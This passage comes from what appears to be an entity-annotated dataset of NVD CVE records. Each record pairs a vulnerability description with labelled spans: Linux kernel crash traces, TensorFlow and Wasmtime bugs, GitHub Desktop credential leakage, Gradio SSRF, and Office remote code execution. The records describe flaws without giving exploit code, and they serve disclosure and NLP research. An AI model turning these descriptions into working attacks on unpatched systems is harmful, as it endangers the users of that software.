mm/mmu_gather.c:149 [inline]\n   tlb_flush_mmu_free mm/mmu_gather.c:366 [inline]\n   tlb_flush_mmu+0x3a3/0x680 mm/mmu_gather.c:373\n   tlb_finish_mmu+0xd4/0x200 mm/mmu_gather.c:465\n   exit_mmap+0x496/0xc40 mm/mmap.c:1926\n   __mmput+0x115/0x390 kernel/fork.c:1348\n   exit_mm+0x220/0x310 kernel/exit.c:571\n   do_exit+0x9b2/0x28e0 kernel/exit.c:926\n   do_group_exit+0x207/0x2c0 kernel/exit.c:1088\n   __do_sys_exit_group kernel/exit.c:1099 [inline]\n   __se_sys_exit_group kernel/exit.c:1097 [inline]\n   __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1097\n   x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232\n   do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n   do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n   entry_SYSCALL_64_after_hwframe+0x77/0x7f\n  Modules linked in:\n  CPU: 0 UID: 0 PID: 8442 Comm: syz.5.504 Not tainted 6.12.0-rc6-syzkaller #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\n  Call Trace:\n   <TASK>\n   __dump_stack lib/dump_stack.c:94 [inline]\n   dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n   bad_page+0x176/0x1d0 mm/page_alloc.c:501\n   free_page_is_bad mm/page_alloc.c:918 [inline]\n   free_pages_prepare mm/page_alloc.c:1100 [inline]\n   free_unref_page+0xed0/0xf20 mm/page_alloc.c:2638\n   kvm_destroy_vm virt/kvm/kvm_main.c:1327 [inline]\n   kvm_put_kvm+0xc75/0x1350 virt/kvm/kvm_main.c:1386\n   kvm_vcpu_release+0x54/0x60 virt/kvm/kvm_main.c:4143\n   __fput+0x23f/0x880 fs/file_table.c:431\n   task_work_run+0x24f/0x310 kernel/task_work.c:239\n   exit_task_work include/linux/task_work.h:43 [inline]\n   do_exit+0xa2f/0x28e0 kernel/exit.c:939\n   do_group_exit+0x207/0x2c0 kernel/exit.c:1088\n   __do_sys_exit_group kernel/exit.c:1099 [in\n---truncated---", "spans": {"FILEPATH: /linux/page_owner.h": [[963, 982], [1917, 1936]], "FILEPATH: /kvm/coalesced_mmio.c": [[1312, 1333]], "FILEPATH: /kvm/kvm_main.c": [[1358, 1373], [1419, 1434], [1484, 1499], [3559, 3574], [3621, 3636], [3676, 3691]], "FILEPATH: /x86/entry/common.c": [[1636, 1655], [1708, 1727], [1768, 1787], [2898, 2917], [2962, 2981]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[2831, 2871]], "FILEPATH: /13/2024": [[3211, 3219]], "FILEPATH: /linux/task_work.h": [[3816, 3834]], "FILEPATH: page_alloc.c": [[1029, 1041], [1067, 1079], [1137, 1149], [1194, 1206], [1974, 1986], [2038, 2050], [3367, 3379], [3407, 3419], [3458, 3470], [3519, 3531]], "FILEPATH: mempolicy.c": [[1254, 1265]], "FILEPATH: ioctl.c": [[1533, 1540], [1595, 1602]], "FILEPATH: swap.c": [[2090, 2096]], "FILEPATH: swap_state.c": [[2146, 2158]], "FILEPATH: mmu_gather.c": [[2200, 2212], [2254, 2266], [2305, 2317], [2363, 2375], [2412, 2424]], "FILEPATH: mmap.c": [[2457, 2463]], "FILEPATH: fork.c": [[2499, 2505]], "FILEPATH: exit.c": [[2541, 2547], [2583, 2589], [2630, 2636], [2672, 2678], [2723, 2729], [2785, 2791], [3878, 3884], [3925, 3931], [3967, 3973]], "FILEPATH: dump_stack.c": [[3264, 3276], [3323, 3335]], "FILEPATH: file_table.c": [[3722, 3734]], "FILEPATH: task_work.c": [[3775, 3786]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3145, 3151], [3152, 3158], [3174, 3180], [3202, 3208]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53105"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.Reverse`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/36229ea9e9451dac14a8b1f4711c435a1d84a594/tensorflow/core/kernels/reverse_op.cc#L75-L76) performs a division based on the first dimension of the tensor argument. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/36229ea9e9451dac14a8b1f4711c435a1d84a594/tensorflow/core/kernels/reverse_op.cc#L75-L76": [[197, 329]], "VULNERABILITY: denial of service": [[95, 112]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29556"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvduse: fix NULL pointer dereference\n\nvduse_vdpa_set_vq_affinity callback can be called\nwith NULL value as cpu_mask when deleting the vduse\ndevice.\n\nThis patch resets virtqueue's IRQ affinity mask value\nto set all CPUs instead of dereferencing NULL cpu_mask.\n\n[ 4760.952149] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[ 4760.959110] #PF: supervisor read access in kernel mode\n[ 4760.964247] #PF: error_code(0x0000) - not-present page\n[ 4760.969385] PGD 0 P4D 0\n[ 4760.971927] Oops: 0000 [#1] PREEMPT SMP PTI\n[ 4760.976112] CPU: 13 PID: 2346 Comm: vdpa Not tainted 6.4.0-rc6+ #4\n[ 4760.982291] Hardware name: Dell Inc. PowerEdge R640/0W23H8, BIOS 2.8.1 06/26/2020\n[ 4760.989769] RIP: 0010:memcpy_orig+0xc5/0x130\n[ 4760.994049] Code: 16 f8 4c 89 07 4c 89 4f 08 4c 89 54 17 f0 4c 89 5c 17 f8 c3 cc cc cc cc 66 66 2e 0f 1f 84 00 00 00 00 00 66 90 83 fa 08 72 1b <4c> 8b 06 4c 8b 4c 16 f8 4c 89 07 4c 89 4c 17 f8 c3 cc cc cc cc 66\n[ 4761.012793] RSP: 0018:ffffb1d565abb830 EFLAGS: 00010246\n[ 4761.018020] RAX: ffff9f4bf6b27898 RBX: ffff9f4be23969c0 RCX: ffff9f4bcadf6400\n[ 4761.025152] RDX: 0000000000000008 RSI: 0000000000000000 RDI: ffff9f4bf6b27898\n[ 4761.032286] RBP: 0000000000000000 R08: 0000000000000008 R09: 0000000000000000\n[ 4761.039416] R10: 0000000000000000 R11: 0000000000000600 R12: 0000000000000000\n[ 4761.046549] R13: 0000000000000000 R14: 0000000000000080 R15: ffffb1d565abbb10\n[ 4761.053680] FS:  00007f64c2ec2740(0000) GS:ffff9f635f980000(0000) knlGS:0000000000000000\n[ 4761.061765] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 4761.067513] CR2: 0000000000000000 CR3: 0000001875270006 CR4: 00000000007706e0\n[ 4761.074645] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 4761.081775] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[ 4761.088909] PKRU: 55555554\n[ 4761.091620] Call Trace:\n[ 4761.094074]  <TASK>\n[ 4761.096180]  ? __die+0x1f/0x70\n[ 4761.099238]  ? page_fault_oops+0x171/0x4f0\n[ 4761.103340]  ? exc_page_fault+0x7b/0x180\n[ 4761.107265]  ? asm_exc_page_fault+0x22/0x30\n[ 4761.111460]  ? memcpy_orig+0xc5/0x130\n[ 4761.115126]  vduse_vdpa_set_vq_affinity+0x3e/0x50 [vduse]\n[ 4761.120533]  virtnet_clean_affinity.part.0+0x3d/0x90 [virtio_net]\n[ 4761.126635]  remove_vq_common+0x1a4/0x250 [virtio_net]\n[ 4761.131781]  virtnet_remove+0x5d/0x70 [virtio_net]\n[ 4761.136580]  virtio_dev_remove+0x3a/0x90\n[ 4761.140509]  device_release_driver_internal+0x19b/0x200\n[ 4761.145742]  bus_remove_device+0xc2/0x130\n[ 4761.149755]  device_del+0x158/0x3e0\n[ 4761.153245]  ? kernfs_find_ns+0x35/0xc0\n[ 4761.157086]  device_unregister+0x13/0x60\n[ 4761.161010]  unregister_virtio_device+0x11/0x20\n[ 4761.165543]  device_release_driver_internal+0x19b/0x200\n[ 4761.170770]  bus_remove_device+0xc2/0x130\n[ 4761.174782]  device_del+0x158/0x3e0\n[ 4761.178276]  ? __pfx_vdpa_name_match+0x10/0x10 [vdpa]\n[ 4761.183336]  device_unregister+0x13/0x60\n[ 4761.187260]  vdpa_nl_cmd_dev_del_set_doit+0x63/0xe0 [vdpa]", "spans": {"FILEPATH: /26/2020": [[743, 751]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[697, 701]], "VULNERABILITY: NULL pointer dereference": [[80, 104], [355, 379]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54291"}}
{"text": "GitHub Desktop is an open-source Electron-based GitHub app designed for git development. An attacker convincing a user to clone a repository directly or through a submodule can allow the attacker access to the user's credentials through the use of maliciously crafted remote URL. GitHub Desktop relies on Git to perform all network related operations (such as cloning, fetching, and pushing). When a user attempts to clone a repository GitHub Desktop will invoke `git clone` and when Git encounters a remote which requires authentication it will request the credentials for that remote host from GitHub Desktop using the git-credential protocol. Using a maliciously crafted URL it's possible to cause the credential request coming from Git to be misinterpreted by Github Desktop such that it will send credentials for a different host than the host that Git is currently communicating with thereby allowing for secret exfiltration. GitHub username and OAuth token, or credentials for other Git remote hosts stored in GitHub Desktop could be improperly transmitted to an unrelated host. Users should update to GitHub Desktop 3.4.12 or greater which fixes this vulnerability. Users who suspect they may be affected should revoke any relevant credentials.", "spans": {"ORGANIZATION: GitHub": [[0, 6], [48, 54], [280, 286], [436, 442], [596, 602], [932, 938], [1017, 1023], [1109, 1115]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23040"}}
{"text": "The Telegram application 7.5.0 through 7.8.0 for Android does not properly implement image self-destruction, a different vulnerability than CVE-2019-16248. After approximately two to four uses of the self-destruct feature, there is a misleading UI indication that an image was deleted (on both the sender and recipient sides). The images are still present in the /Storage/Emulated/0/Telegram/Telegram Image/ directory.", "spans": {"CVE_ID: CVE-2019-16248": [[140, 154]], "FILEPATH: /Storage/Emulated/0/Telegram/Telegram": [[363, 400]], "SYSTEM: Android": [[49, 56]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41861"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac802154: check local interfaces before deleting sdata list\n\nsyzkaller reported a corrupted list in ieee802154_if_remove. [1]\n\nRemove an IEEE 802.15.4 network interface after unregister an IEEE 802.15.4\nhardware device from the system.\n\nCPU0\t\t\t\t\tCPU1\n====\t\t\t\t\t====\ngenl_family_rcv_msg_doit\t\tieee802154_unregister_hw\nieee802154_del_iface\t\t\tieee802154_remove_interfaces\nrdev_del_virtual_intf_deprecated\tlist_del(&sdata->list)\nieee802154_if_remove\nlist_del_rcu\n\nThe net device has been unregistered, since the rcu grace period,\nunregistration must be run before ieee802154_if_remove.\n\nTo avoid this issue, add a check for local->interfaces before deleting\nsdata list.\n\n[1]\nkernel BUG at lib/list_debug.c:58!\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 UID: 0 PID: 6277 Comm: syz-executor157 Not tainted 6.12.0-rc6-syzkaller-00005-g557329bcecc2 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nRIP: 0010:__list_del_entry_valid_or_report+0xf4/0x140 lib/list_debug.c:56\nCode: e8 a1 7e 00 07 90 0f 0b 48 c7 c7 e0 37 60 8c 4c 89 fe e8 8f 7e 00 07 90 0f 0b 48 c7 c7 40 38 60 8c 4c 89 fe e8 7d 7e 00 07 90 <0f> 0b 48 c7 c7 a0 38 60 8c 4c 89 fe e8 6b 7e 00 07 90 0f 0b 48 c7\nRSP: 0018:ffffc9000490f3d0 EFLAGS: 00010246\nRAX: 000000000000004e RBX: dead000000000122 RCX: d211eee56bb28d00\nRDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\nRBP: ffff88805b278dd8 R08: ffffffff8174a12c R09: 1ffffffff2852f0d\nR10: dffffc0000000000 R11: fffffbfff2852f0e R12: dffffc0000000000\nR13: dffffc0000000000 R14: dead000000000100 R15: ffff88805b278cc0\nFS:  0000555572f94380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000056262e4a3000 CR3: 0000000078496000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n __list_del_entry_valid include/linux/list.h:124 [inline]\n __list_del_entry include/linux/list.h:215 [inline]\n list_del_rcu include/linux/rculist.h:157 [inline]\n ieee802154_if_remove+0x86/0x1e0 net/mac802154/iface.c:687\n rdev_del_virtual_intf_deprecated net/ieee802154/rdev-ops.h:24 [inline]\n ieee802154_del_iface+0x2c0/0x5c0 net/ieee802154/nl-phy.c:323\n genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline]\n genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]\n genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210\n netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2551\n genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219\n netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline]\n netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1357\n netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1901\n sock_sendmsg_nosec net/socket.c:729 [inline]\n __sock_sendmsg+0x221/0x270 net/socket.c:744\n ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2607\n ___sys_sendmsg net/socket.c:2661 [inline]\n __sys_sendmsg+0x292/0x380 net/socket.c:2690\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /13/2024": [[1012, 1020]], "FILEPATH: /linux/list.h": [[2045, 2058], [2097, 2110]], "FILEPATH: /linux/rculist.h": [[2145, 2161]], "FILEPATH: /mac802154/iface.c": [[2211, 2229]], "FILEPATH: /ieee802154/rdev-ops.h": [[2271, 2293]], "FILEPATH: /ieee802154/nl-phy.c": [[2343, 2363]], "FILEPATH: /netlink/genetlink.c": [[2397, 2417], [2456, 2476], [2520, 2540], [2628, 2648]], "FILEPATH: /netlink/af_netlink.c": [[2578, 2599], [2681, 2702], [2749, 2770], [2808, 2829]], "FILEPATH: /x86/entry/common.c": [[3081, 3100], [3143, 3162]], "FILEPATH: list_debug.c": [[758, 770], [1079, 1091]], "FILEPATH: socket.c": [[2859, 2867], [2913, 2921], [2959, 2967], [2993, 3001], [3047, 3055]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[946, 952], [953, 959], [975, 981], [1003, 1009]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57948"}}
{"text": "Gradio is an open-source Python package designed for quick prototyping. This vulnerability relates to **Server-Side Request Forgery (SSRF)** in the `/queue/join` endpoint. Gradio’s `async_save_url_to_cache` function allows attackers to force the Gradio server to send HTTP requests to user-controlled URLs. This could enable attackers to target internal servers or services within a local network and possibly exfiltrate data or cause unwanted internal requests. Additionally, the content from these URLs is stored locally, making it easier for attackers to upload potentially malicious files to the server. This impacts users deploying Gradio servers that use components like the Video component which involve URL fetching. Users are advised to upgrade to `gradio>=5` to address this issue.  As a workaround, users can disable or heavily restrict URL-based inputs in their Gradio applications to trusted domains only. Additionally, implementing stricter URL validation (such as allowinglist-based validation) and ensuring that local or internal network addresses cannot be requested via the `/queue/join` endpoint can help mitigate the risk of SSRF attacks.", "spans": {"FILEPATH: /queue/join": [[149, 160], [1093, 1104]], "SYSTEM: Python": [[25, 31]], "VULNERABILITY: Server-Side Request Forgery": [[104, 131]], "VULNERABILITY: SSRF": [[133, 137], [1145, 1149]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47167"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: hda: fix a possible null-pointer dereference due to data race in snd_hdac_regmap_sync()\n\nThe variable codec->regmap is often protected by the lock\ncodec->regmap_lock when is accessed. However, it is accessed without\nholding the lock when is accessed in snd_hdac_regmap_sync():\n\n  if (codec->regmap)\n\nIn my opinion, this may be a harmful race, because if codec->regmap is\nset to NULL right after the condition is checked, a null-pointer\ndereference can occur in the called function regcache_sync():\n\n  map->lock(map->lock_arg); --> Line 360 in drivers/base/regmap/regcache.c\n\nTo fix this possible null-pointer dereference caused by data race, the\nmutex_lock coverage is extended to protect the if statement as well as the\nfunction call to regcache_sync().\n\n[ Note: the lack of the regmap_lock itself is harmless for the current\n  codec driver implementations, as snd_hdac_regmap_sync() is only for\n  PM runtime resume that is prohibited during the codec probe.\n  But the change makes the whole code more consistent, so it's merged\n  as is -- tiwai ]", "spans": {"FILEPATH: /base/regmap/regcache.c": [[625, 648]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53275"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: let smbd_destroy() call disable_work_sync(&info->post_send_credits_work)\n\nIn smbd_destroy() we may destroy the memory so we better\nwait until post_send_credits_work is no longer pending\nand will never be started again.\n\nI actually just hit the case using rxe:\n\nWARNING: CPU: 0 PID: 138 at drivers/infiniband/sw/rxe/rxe_verbs.c:1032 rxe_post_recv+0x1ee/0x480 [rdma_rxe]\n...\n[ 5305.686979] [    T138]  smbd_post_recv+0x445/0xc10 [cifs]\n[ 5305.687135] [    T138]  ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5305.687149] [    T138]  ? __kasan_check_write+0x14/0x30\n[ 5305.687185] [    T138]  ? __pfx_smbd_post_recv+0x10/0x10 [cifs]\n[ 5305.687329] [    T138]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[ 5305.687356] [    T138]  ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5305.687368] [    T138]  ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5305.687378] [    T138]  ? _raw_spin_unlock_irqrestore+0x11/0x60\n[ 5305.687389] [    T138]  ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5305.687399] [    T138]  ? get_receive_buffer+0x168/0x210 [cifs]\n[ 5305.687555] [    T138]  smbd_post_send_credits+0x382/0x4b0 [cifs]\n[ 5305.687701] [    T138]  ? __pfx_smbd_post_send_credits+0x10/0x10 [cifs]\n[ 5305.687855] [    T138]  ? __pfx___schedule+0x10/0x10\n[ 5305.687865] [    T138]  ? __pfx__raw_spin_lock_irq+0x10/0x10\n[ 5305.687875] [    T138]  ? queue_delayed_work_on+0x8e/0xa0\n[ 5305.687889] [    T138]  process_one_work+0x629/0xf80\n[ 5305.687908] [    T138]  ? srso_alias_return_thunk+0x5/0xfbef5\n[ 5305.687917] [    T138]  ? __kasan_check_write+0x14/0x30\n[ 5305.687933] [    T138]  worker_thread+0x87f/0x1570\n...\n\nIt means rxe_post_recv was called after rdma_destroy_qp().\nThis happened because put_receive_buffer() was triggered\nby ib_drain_qp() and called:\nqueue_work(info->workqueue, &info->post_send_credits_work);", "spans": {"FILEPATH: /infiniband/sw/rxe/rxe_verbs.c": [[378, 408]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39932"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/core: Disable page allocation in task_tick_mm_cid()\n\nWith KASAN and PREEMPT_RT enabled, calling task_work_add() in\ntask_tick_mm_cid() may cause the following splat.\n\n[   63.696416] BUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:48\n[   63.696416] in_atomic(): 1, irqs_disabled(): 1, non_block: 0, pid: 610, name: modprobe\n[   63.696416] preempt_count: 10001, expected: 0\n[   63.696416] RCU nest depth: 1, expected: 1\n\nThis problem is caused by the following call trace.\n\n  sched_tick() [ acquire rq->__lock ]\n   -> task_tick_mm_cid()\n    -> task_work_add()\n     -> __kasan_record_aux_stack()\n      -> kasan_save_stack()\n       -> stack_depot_save_flags()\n        -> alloc_pages_mpol_noprof()\n         -> __alloc_pages_noprof()\n\t  -> get_page_from_freelist()\n\t   -> rmqueue()\n\t    -> rmqueue_pcplist()\n\t     -> __rmqueue_pcplist()\n\t      -> rmqueue_bulk()\n\t       -> rt_spin_lock()\n\nThe rq lock is a raw_spinlock_t. We can't sleep while holding\nit. IOW, we can't call alloc_pages() in stack_depot_save_flags().\n\nThe task_tick_mm_cid() function with its task_work_add() call was\nintroduced by commit 223baf9d17f2 (\"sched: Fix performance regression\nintroduced by mm_cid\") in v6.4 kernel.\n\nFortunately, there is a kasan_record_aux_stack_noalloc() variant that\ncalls stack_depot_save_flags() while not allowing it to allocate\nnew pages.  To allow task_tick_mm_cid() to use task_work without\npage allocation, a new TWAF_NO_ALLOC flag is added to enable calling\nkasan_record_aux_stack_noalloc() instead of kasan_record_aux_stack()\nif set. The task_tick_mm_cid() function is modified to add this new flag.\n\nThe possible downside is the missing stack trace in a KASAN report due\nto new page allocation required when task_work_add_noallloc() is called\nwhich should be rare.", "spans": {"FILEPATH: /locking/spinlock_rt.c": [[316, 338]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50140"}}
{"text": "<p>A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user. If the current user is logged on with administrative user rights, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</p>\n<p>Exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Office. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) containing a specially crafted file designed to exploit the vulnerability. An attacker would have no way to force users to visit the website. Instead, an attacker would have to convince users to click a link, typically by way of an enticement in an email or instant message, and then convince them to open the specially crafted file.</p>\n<p>The security update addresses the vulnerability by correcting how Microsoft Office handles objects in memory.</p>", "spans": {"SYSTEM: Microsoft Office": [[51, 67], [770, 786], [1505, 1521]], "VULNERABILITY: remote code execution": [[5, 26]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-16954"}}
{"text": "Wasmtime is a runtime for WebAssembly. Starting in version 29.0.0 and prior to version 36.0.5, 40.0.3, and 41.0.1, on x86-64 platforms with AVX, Wasmtime's compilation of the `f64.copysign` WebAssembly instruction with Cranelift may load 8 more bytes than is necessary. When signals-based-traps are disabled this can result in a uncaught segfault due to loading from unmapped guard pages. With guard pages disabled it's possible for out-of-sandbox data to be loaded, but unless there is another bug in Cranelift this data is not visible to WebAssembly guests. Wasmtime 36.0.5, 40.0.3, and 41.0.1 have been released to fix this issue. Users are recommended to upgrade to the patched versions of Wasmtime. Other affected versions are not patched and users should updated to supported major version instead. This bug can be worked around by enabling signals-based-traps. While disabling guard pages can be a quick fix in some situations, it's not recommended to disabled guard pages as it is a key defense-in-depth measure of Wasmtime.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24116"}}
{"text": "An Improper Preservation of Consistency Between Independent Representations of Shared State vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows a locally authenticated attacker with low privileges to cause a Denial of Service (DoS). If the device is very busy for example while executing a series of show commands on the CLI one or more SFPs might not be detected anymore. The system then changes its state to \"unplugged\" which is leading to traffic impact and at least a partial DoS. Once the system is less busy the port states return to their actual value. Indicators of compromise are log messages about unplugged SFPs and corresponding syspld messages without any physical or environmental cause. These can be checked by issuing the following commands: user@device# show log messages | match unplugged %PFE-6: fpc0 sfp-0/1/2 SFP unplugged %PFE-6: fpc0 sfp-0/1/3 SFP unplugged The following log messages will also be seen when this issue happens: fpc0 Error tvp_drv_syspld_read: syspld read failed for address <address> fpc0 Error[-1]:tvp_optics_presence_get - Syspld read failed for port <pic/port> fpc0 optics pres failed(-1) for pic <pic> port <port> fpc0 tvp_drv_syspld_read: i2c access retry count 200 This issue affects Juniper Networks Junos OS on EX2300 Series, EX3400 Series: All versions prior to 18.4R3-S11; 19.1 versions prior to 19.1R3-S9; 19.2 versions prior to 19.2R1-S9, 19.2R3-S5; 19.3 versions prior to 19.3R3-S6; 19.4 versions prior to 19.4R2-S7, 19.4R3-S8; 20.1 versions prior to 20.1R3-S4; 20.2 versions prior to 20.2R3-S4; 20.3 versions prior to 20.3R3-S4; 20.4 versions prior to 20.4R3-S3; 21.1 versions prior to 21.1R3-S1; 21.2 versions prior to 21.2R3; 21.3 versions prior to 21.3R2; 21.4 versions prior to 21.4R2.", "spans": {"FILEPATH: /1/2": [[861, 865]], "FILEPATH: /1/3": [[898, 902]], "ORGANIZATION: Juniper": [[147, 154], [1266, 1273]], "VULNERABILITY: Denial of Service": [[244, 261]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22234"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix oops in write-retry from mis-resetting the subreq iterator\n\nFix the resetting of the subrequest iterator in netfs_retry_write_stream()\nto use the iterator-reset function as the iterator may have been shortened\nby a previous retry.  In such a case, the amount of data to be written by\nthe subrequest is not \"subreq->len\" but \"subreq->len -\nsubreq->transferred\".\n\nWithout this, KASAN may see an error in iov_iter_revert():\n\n   BUG: KASAN: slab-out-of-bounds in iov_iter_revert lib/iov_iter.c:633 [inline]\n   BUG: KASAN: slab-out-of-bounds in iov_iter_revert+0x443/0x5a0 lib/iov_iter.c:611\n   Read of size 4 at addr ffff88802912a0b8 by task kworker/u32:7/1147\n\n   CPU: 1 UID: 0 PID: 1147 Comm: kworker/u32:7 Not tainted 6.15.0-rc6-syzkaller-00052-g9f35e33144ae #0 PREEMPT(full)\n   Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\n   Workqueue: events_unbound netfs_write_collection_worker\n   Call Trace:\n    <TASK>\n    __dump_stack lib/dump_stack.c:94 [inline]\n    dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n    print_address_description mm/kasan/report.c:408 [inline]\n    print_report+0xc3/0x670 mm/kasan/report.c:521\n    kasan_report+0xe0/0x110 mm/kasan/report.c:634\n    iov_iter_revert lib/iov_iter.c:633 [inline]\n    iov_iter_revert+0x443/0x5a0 lib/iov_iter.c:611\n    netfs_retry_write_stream fs/netfs/write_retry.c:44 [inline]\n    netfs_retry_writes+0x166d/0x1a50 fs/netfs/write_retry.c:231\n    netfs_collect_write_results fs/netfs/write_collect.c:352 [inline]\n    netfs_write_collection_worker+0x23fd/0x3830 fs/netfs/write_collect.c:374\n    process_one_work+0x9cf/0x1b70 kernel/workqueue.c:3238\n    process_scheduled_works kernel/workqueue.c:3319 [inline]\n    worker_thread+0x6c8/0xf10 kernel/workqueue.c:3400\n    kthread+0x3c2/0x780 kernel/kthread.c:464\n    ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:153\n    ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245\n    </TASK>", "spans": {"FILEPATH: /01/2014": [[948, 956]], "FILEPATH: /kasan/report.c": [[1172, 1187], [1231, 1246], [1281, 1296]], "FILEPATH: /netfs/write_retry.c": [[1431, 1451], [1503, 1523]], "FILEPATH: /netfs/write_collect.c": [[1562, 1584], [1648, 1670]], "FILEPATH: /x86/kernel/process.c": [[1925, 1946]], "FILEPATH: /x86/entry/entry_64.S": [[1987, 2008]], "FILEPATH: iov_iter.c": [[559, 569], [652, 662], [1325, 1335], [1385, 1395]], "FILEPATH: dump_stack.c": [[1063, 1075], [1123, 1135]], "FILEPATH: workqueue.c": [[1716, 1727], [1768, 1779], [1831, 1842]], "FILEPATH: kthread.c": [[1879, 1888]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[873, 877]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38139"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nARM: 9359/1: flush: check if the folio is reserved for no-mapping addresses\n\nSince commit a4d5613c4dc6 (\"arm: extend pfn_valid to take into account\nfreed memory map alignment\") changes the semantics of pfn_valid() to check\npresence of the memory map for a PFN. A valid page for an address which\nis reserved but not mapped by the kernel[1], the system crashed during\nsome uio test with the following memory layout:\n\n node   0: [mem 0x00000000c0a00000-0x00000000cc8fffff]\n node   0: [mem 0x00000000d0000000-0x00000000da1fffff]\n the uio layout is：0xc0900000, 0x100000\n\nthe crash backtrace like:\n\n  Unable to handle kernel paging request at virtual address bff00000\n  [...]\n  CPU: 1 PID: 465 Comm: startapp.bin Tainted: G           O      5.10.0 #1\n  Hardware name: Generic DT based system\n  PC is at b15_flush_kern_dcache_area+0x24/0x3c\n  LR is at __sync_icache_dcache+0x6c/0x98\n  [...]\n   (b15_flush_kern_dcache_area) from (__sync_icache_dcache+0x6c/0x98)\n   (__sync_icache_dcache) from (set_pte_at+0x28/0x54)\n   (set_pte_at) from (remap_pfn_range+0x1a0/0x274)\n   (remap_pfn_range) from (uio_mmap+0x184/0x1b8 [uio])\n   (uio_mmap [uio]) from (__mmap_region+0x264/0x5f4)\n   (__mmap_region) from (__do_mmap_mm+0x3ec/0x440)\n   (__do_mmap_mm) from 